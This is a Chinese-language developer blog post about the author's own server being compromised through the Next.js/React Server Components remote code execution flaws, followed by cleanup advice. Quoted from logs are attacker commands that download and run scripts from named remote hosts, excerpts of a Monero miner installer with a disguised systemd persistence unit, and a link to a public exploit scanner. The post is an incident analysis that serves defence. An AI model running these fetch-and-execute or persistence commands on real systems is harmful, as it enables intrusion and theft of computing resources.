博客 / 詳情

返回

緊急!Next.js高危漏洞致服務器被黑,我已經中招了!附解決方案

剛剛,我的服務器因為一個高危漏洞被入侵了,淪為了礦機!把我的經歷分享出來,希望更多程序員朋友們不要中招,抓緊預防處理。

 

事故現場

2025 年 12 月 5 日下午,騰訊雲給我發來一條安全告警通知,説我的業務存在 React/Next.js 遠程代碼執行(CVE-2025-55182/CVE-2025-66478)高危安全風險。

然後在當晚,騰訊雲就給我發了第二條通知,説是我的服務器上檢測到存在惡意文件,顯然是一個挖礦程序。

但很遺憾的是,昨天我正在老家處理事情,沒來得及看到這些通知,而且可氣的是,攻擊者專挑週五下班時間作案,所以我團隊同學也沒注意。

等到今天早上一睜眼,發現站內信全是告警,攻擊者在早上 6 點和 9 點又進行了幾次行動。這時我們團隊羣裏也已經炸鍋了,大家就一起排查處理。

首先我查看了前端項目的依賴管理文件 package.json

{
 "dependencies": {
   "next": "15.3.3"
}
}

發現我編程導航訓練營項目使用的 Next.js 版本(15.3.3)正好在漏洞影響範圍內!

然後我查看了應用日誌 camp_codefather_cn.log,發現了很多線索,並配合騰訊雲主機安全提供的告警分析,還原了攻擊者的完整作案過程。

時間線如下:

📅 2025-12-05 19:59:42 【第一波攻擊】下載惡意腳本
📅 2025-12-05 20:04:00 【第二波攻擊】部署挖礦程序
📅 2025-12-06 06:13:43 【第三波攻擊】植入 DDoS 木馬
📅 2025-12-06 09:29:33 【第四波攻擊】運行內存木馬
📅 2025-12-06 09:42:00 【持續攻擊】嘗試建立後門

 

1、下載惡意腳本,部署挖礦程序

首先晚上 7 點 59 分,攻擊者利用 Next.js RSC 漏洞,通過發送特製的 HTTP POST 請求,執行命令下載了惡意腳本 sex.sh

wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh -O sex.sh
chmod +x sex.sh
./sex.sh

日誌記錄:

--2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh
Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37
Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1619 (1.6K) [text/x-sh]
Saving to: 'sex.sh'

2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved [1619/1619]

從這裏能看出來,這個時候攻擊者已經可以通過 Next.js 的漏洞為所欲為了!

我下載了這個 sex.sh 腳本文件,帶大家 “鑑賞一下”。

首先攻擊者配置了挖礦參數,連接到攻擊者的礦池、使用攻擊者的門羅幣錢包,並偽裝成系統更新服務。

ARGS="--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻擊者的錢包地址)"
SERVICE_NAME="system-update-service"  # ⚠️ 偽裝成系統服務

然後偽裝成瀏覽器請求,從 GitHub 下載合法的 XMRig 挖礦軟件

curl -L -o kal.tar.gz \
 --user-agent "Mozilla/5.0..." \  # ⚠️ 偽裝成瀏覽器
https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf kal.tar.gz

接下來創建系統服務,設置開機自啓、進程崩潰後自動重啓。也就是説,即使重啓服務器,木馬依然運行

# 創建 systemd 服務
cat > /etc/systemd/system/system-update-service.service <<EOF
[Service]
ExecStart=/path/to/xmrig --url pool.hashvault.pro:443 ...
Restart=always         # ⚠️ 崩潰後自動重啓
[Install]
WantedBy=multi-user.target  # ⚠️ 開機自啓
EOF

systemctl enable system-update-service
systemctl start system-update-service

如果沒有 root 權限,會在後台運行挖礦程序,並重定向輸出到 /dev/null,不留日誌。

nohup /path/to/xmrig $ARGS >/dev/null 2>&1 &

完整代碼我分享到 代碼小抄 了,感興趣的同學可以閲讀。

我都忍不住讚美攻擊者了,這個程序寫得真不錯,短小凝練,不僅有隱蔽和偽裝、還考慮到了持久化和降級。

這段代碼執行完,我的服務器就已經髒了,挖礦程序開始在後台運行,持續消耗我的服務器資源為攻擊者挖取門羅幣。

 

2、植入 DDoS 木馬

然後是第二天早上 6 點多,攻擊者不講武德,給我的服務器植入了第二個惡意程序。

先看看日誌記錄:

--2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2
Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219
Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1371145 (1.3M) [application/octet-stream]
Saving to: '/tmp/nginx3'

2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved [1371145/1371145]

攻擊者通過 wget 下載了一個特製的 Nginx 網站服務器文件,還特意選擇了權限寬鬆的 /tmp 目錄。

wget -O /tmp/nginx3 http://res.qiqigece.top/nginx2
chmod 777 /tmp/nginx3
/tmp/nginx3

根據安全報告,這是一個 DDoS 攻擊木馬類的惡意程序,可以把我的服務器變成太美的 “肉雞”,參與對其他服務器的 DDoS 攻擊。

不僅會消耗服務器的帶寬,還可能導致我的服務器 IP 被封;更嚴重的是,我有可能直接就參與網絡攻擊了?!

這難道就是傳説中的人在家中坐,鍋從天上來?

6 點我特麼還在牀上躺着流口水做夢呢,攻擊者努力得讓人心疼啊!

 

3、植入內存木馬

到了早上 9 點 29 分,攻擊者又發力了 ,又給我的服務器植入了一個木馬類的惡意程序 /dev/shm/java

不過有點兒奇怪的是,這次的文件竟然已經被刪除掉了?

我才不相信攻擊者良心發現呢,我通過下列命令看了下進程:

ls -l /proc/*/exe | grep deleted

發現竟然有 4 個木馬進程同時運行!

lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted)

狠啊,真狠啊,1 個進程還不夠是吧?

我猜 “刪除文件” 是攻擊者為了 防止取證,讓文件運行在 Linux 的共享內存文件系統 /dev/shm 中,並且故意把文件刪除掉,讓 lsfind 等命令找不到它,但其實進程仍然在繼續運行,增加了取證排查的難度。

 

4、持續探測

上午 9 點 42 分,攻擊者又來了,這次是從一個波蘭的 IP 地址下載了一個程序,並賦予極高的訪問權限,然後還想遠程下載並執行另外一個遠程腳本。

很可惜我的服務器並沒有 busybox(嵌入式 Linux 常用的工具集),所以這次攻擊被阻止了:

/bin/sh: line 1: busybox: command not found
chmod: cannot access 'x86': No such file or directory
/bin/sh: line 1: ./x86: No such file or directory

但這也説明攻擊者在 持續嘗試 建立多重後門。真是喪盡天良,喪心病狂啊!

 

漏洞簡介

分享到這裏,想必大家已經感受到這次漏洞的危害了吧。

主要是 2 個遠程代碼執行漏洞:

  • CVE-2025-55182:React Server Components 遠程代碼執行漏洞

  • CVE-2025-66478:Next.js App Router 遠程代碼執行漏洞

據官方描述,在 React 的服務器組件庫中,由於 React 在解碼發送至服務器函數端點的請求負載時存在安全缺陷,導致未經身份驗證的遠程攻擊者可以通過 向任何服務器函數端點發送特製的惡意 HTTP 請求,當該請求被 React 反序列化處理時,即可 在服務器上實現遠程代碼執行,從而完全控制服務器。

這次漏洞的影響範圍很大,包括使用了 React 服務器組件的應用、使用了不安全版本的 Next.js 應用等等。注意,不僅僅是你自己開發的應用,如果你服務器上安裝了其他符合這些特徵的應用,一樣會中招!攻擊者是可以通過程序批量掃描這些應用的,發現一個攻擊一個。

你看漏洞是前兩天剛剛披露的,我這就中招了。我們團隊的小夥伴自己的服務器也中招了,他通過一個 開源項目 成功復現了攻擊,只需要一個請求就能打開服務器上的計算器程序、給服務器寫入任何文件。

開源的掃描工具:https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

好傢伙,幾乎沒有任何成本,就能為所欲為,植入後門、生產垃圾、拿來挖礦、盜取信息!

而且很多朋友可能沒有及時發現、或者不知道怎麼處理,就會一直被攻擊者當成礦工來利用。

 

如何處理?

如果條件允許的話,建議是立刻隔離服務器,防止被攻擊者拿來利用、植入更多惡意程序、或者獲取更多信息。

然後通過編寫 Linux 腳本來清理惡意文件:

注意,以下腳本僅供參考,實際以操作系統和攻擊情況為主,用 AI 生成即可

# 刪除整個挖礦目錄
rm -rf /www/wwwroot/xxx/xmrig-6.24.0/
rm -f /www/wwwroot/xxx/sex.sh
rm -f /www/wwwroot/xxx/kal.tar.gz

# 刪除 /tmp 下的惡意文件
rm -f /tmp/nginx3
rm -f /tmp/x86

光刪除文件還不夠,還要查找並終止所有惡意進程:

# 查找 xmrig 進程
ps aux | grep -E "(xmrig|minerd|cpuminer)" | grep -v grep

# 查找可疑進程
ps aux | grep -E "(nginx3|/tmp/|/dev/shm)" | grep -v grep

# 查看被刪除但仍在運行的進程
ls -l /proc/*/exe 2>/dev/null | grep deleted

# 終止進程
kill -9 <PID>

最後,還要停止惡意的 systemd 服務:

# 查找可疑服務
systemctl list-units --type=service | grep -E "(update|system|miner|crypto)"

# 示例輸出
system-update-service.service   loaded active running   System Update Service

# 停止並禁用
systemctl stop system-update-service
systemctl disable system-update-service

# 刪除服務文件
rm -f /etc/systemd/system/system-update-service.service

# 重新加載
systemctl daemon-reload

當然,如果你的服務器上本來就沒什麼東西,也可以選擇簡單粗暴的方式,重裝系統!

不過最重要的是,要解決根本問題,把 Next.js 應用升級到安全版本。

 

最後

通過這次事故呢,我覺得多關注安全通告、做好服務器的安全監控還是非常重要的,要是沒有安全告警,可能幾個月都沒辦法意識到這些攻擊。

而且建議大家把應用盡量運行在非 root 權限下,儘可能減少風險。平時養成定期備份的習慣,出了問題即使重新安裝服務器,也不會造成數據丟失。

OK 就分享到這裏吧,如果你覺得本期內容有幫助,記得 轉發分享 給身邊的程序員朋友,讓他們儘快意識到並修復問題,不要再讓醜陋的、卑鄙的、老奸巨猾的攻擊者得逞了!

 

更多編程學習資源

  • Java前端程序員必做項目實戰教程+畢設網站

  • 程序員免費編程學習交流社區(自學必備)

  • 程序員保姆級求職寫簡歷指南(找工作必備)

  • 程序員免費面試刷題網站工具(找工作必備)

  • 最新Java零基礎入門學習路線 + Java教程

  • 最新Python零基礎入門學習路線 + Python教程

  • 最新前端零基礎入門學習路線 + 前端教程

  • 最新數據結構和算法零基礎入門學習路線 + 算法教程

  • 最新C++零基礎入門學習路線、C++教程

  • 最新數據庫零基礎入門學習路線 + 數據庫教程

  • 最新Redis零基礎入門學習路線 + Redis教程

  • 最新計算機基礎入門學習路線 + 計算機基礎教程

  • 最新小程序入門學習路線 + 小程序開發教程

  • 最新SQL零基礎入門學習路線 + SQL教程

  • 最新Linux零基礎入門學習路線 + Linux教程

  • 最新Git/GitHub零基礎入門學習路線 + Git教程

  • 最新操作系統零基礎入門學習路線 + 操作系統教程

  • 最新計算機網絡零基礎入門學習路線 + 計算機網絡教程

  • 最新設計模式零基礎入門學習路線 + 設計模式教程

  • 最新軟件工程零基礎入門學習路線 + 軟件工程教程

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.